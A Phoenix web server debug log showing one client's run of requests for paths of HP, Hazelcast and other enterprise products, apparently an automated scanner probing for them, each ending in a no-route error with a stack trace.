[Thu Sep  3 08:13:13.887000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54946] GET /SiteScope/
[Thu Sep  3 08:13:13.900000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54946] ** (Phoenix.Router.NoRouteError) no route found for GET /SiteScope (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:23.264000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47994] GET /oo/
[Thu Sep  3 08:13:23.292000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47994] ** (Phoenix.Router.NoRouteError) no route found for GET /oo (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:30.518000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48004] GET /xmldata
[Thu Sep  3 08:13:30.552000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48004] ** (Phoenix.Router.NoRouteError) no route found for GET /xmldata (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:31.273000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48018] GET /js/hpsum/hpsum-version.js
[Thu Sep  3 08:13:31.300000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48018] ** (Phoenix.Router.NoRouteError) no route found for GET /js/hpsum/hpsum-version.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:31.925000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48026] GET /js/hpsum/hpsum-version.js
[Thu Sep  3 08:13:31.944000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48026] ** (Phoenix.Router.NoRouteError) no route found for GET /js/hpsum/hpsum-version.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:32.589000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48038] GET /js/hpsum/hpsum-version.js
[Thu Sep  3 08:13:32.625000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48038] ** (Phoenix.Router.NoRouteError) no route found for GET /js/hpsum/hpsum-version.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:33.333000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55748] GET /js/hpsum/hpsum-version.js
[Thu Sep  3 08:13:33.351000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55748] ** (Phoenix.Router.NoRouteError) no route found for GET /js/hpsum/hpsum-version.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:34.176000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55758] GET /js/hpsum/hpsum-version.js
[Thu Sep  3 08:13:34.197000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55758] ** (Phoenix.Router.NoRouteError) no route found for GET /js/hpsum/hpsum-version.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:37.916000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55768] GET /nnm/main
[Thu Sep  3 08:13:37.932000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55768] ** (Phoenix.Router.NoRouteError) no route found for GET /nnm/main (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:45.644000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33934] GET /imc
[Thu Sep  3 08:13:45.663000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33934] ** (Phoenix.Router.NoRouteError) no route found for GET /imc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:49.064000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33948] GET /autopass/login_input
[Thu Sep  3 08:13:49.103000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33948] ** (Phoenix.Router.NoRouteError) no route found for GET /autopass/login_input (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:54.693000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet1455037020
[Thu Sep  3 08:13:54.726000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet1455037020 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:55.986000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet439230241.
[Thu Sep  3 08:13:56.001000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet439230241. (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:56.197000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51784] GET /hazelcast/rest/cluster
[Thu Sep  3 08:13:56.210000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51784] ** (Phoenix.Router.NoRouteError) no route found for GET /hazelcast/rest/cluster (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:57.558000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet1991271325.asp
[Thu Sep  3 08:13:57.579000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet1991271325.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:59.331000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet2033330792.aspx
[Thu Sep  3 08:13:59.361000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet2033330792.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:01.936000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51772] GET /niet634183298.html
[Thu Sep  3 08:14:01.985000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51772] ** (Phoenix.Router.NoRouteError) no route found for GET /niet634183298.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
